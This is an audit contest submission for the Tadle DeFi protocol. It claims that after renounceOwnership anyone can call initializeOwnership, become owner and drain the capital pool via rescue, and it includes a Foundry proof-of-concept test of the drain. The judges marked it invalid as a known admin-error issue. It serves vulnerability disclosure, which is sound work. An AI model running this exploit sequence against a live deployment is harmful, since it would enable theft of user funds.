Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: low
Invalid

Project owner can hand-over admin to the public via renounceOwnership

0xswahili

Summary

The project owner can hand-over admin role to the public via renounceOwnership function. This can allow anybody to take-over the protocol and steal funds via the rescue function.

Vulnerability Details

The ownable contact has a renounceOwnership function that allows the admin to literally hand-over ownershipt to the address(0):

function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
​
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}

. While the comments state the only impact is that functions that have the onlyOwner modifier cannot be called, the reality is that an adversary can call initializeOwnership() and set themselves as the new admin:

function initializeOwnership(address _newOwner) external {
if (owner() != address(0x0)) {
revert AlreadyInitialized();
}
​
_transferOwnership(_newOwner);
}

Once they become admins, they can easily steal all funds via the rescue function:

/**
* @notice The caller must be the owner.
* @dev Rescues an account.
* @param to The address of the account to rescue.
* @param token The token to rescue. If 0, it is ether.
* @param amount The amount to rescue.
* @notice The caller must be the owner.
*/
function rescue(
address to,
address token,
uint256 amount
) external onlyOwner {
if (token == address(0x0)) {
payable(to).transfer(amount);
} else {
_safe_transfer(token, to, amount);
}
​
emit Rescue(to, token, amount);
}
​

For a POC, please use this test that shows that funds can be stolen from the CapitalPool:

function test_renounce_ownership_steal() public{
vm.startPrank(user);
​
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
0.01 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
uint256 balance = mockUSDCToken.balanceOf(address(capitalPool));
assertGt(balance,0);
vm.stopPrank();
vm.startPrank(user1);
capitalPool.renounceOwnership();
assertEq(capitalPool.owner(),address(0x0));
vm.startPrank(user);
capitalPool.initializeOwnership(user);
capitalPool.rescue(user,address(mockUSDCToken),balance);
balance = mockUSDCToken.balanceOf(address(capitalPool));
assertEq(balance,0);
​
}

Impact

Admin can hand-over ownership to adversary who can steall all funds in the protocol.

Tools Used

Manual review

Recommendations

This function should always revert

Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Known issue
Assigned finding tags:

[invalid] finding-Admin-Errors-Malicious

The following issues and its duplicates are invalid as admin errors/input validation/malicious intents are1 generally considered invalid based on [codehawks guidelines](https://docs.codehawks.com/hawks-auditors/how-to-determine-a-finding-validity#findings-that-may-be-invalid). If they deploy/set inputs of the contracts appropriately, there will be no issue. Additionally admins are trusted as noted in READ.ME they can break certain assumption of the code based on their actions, and

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.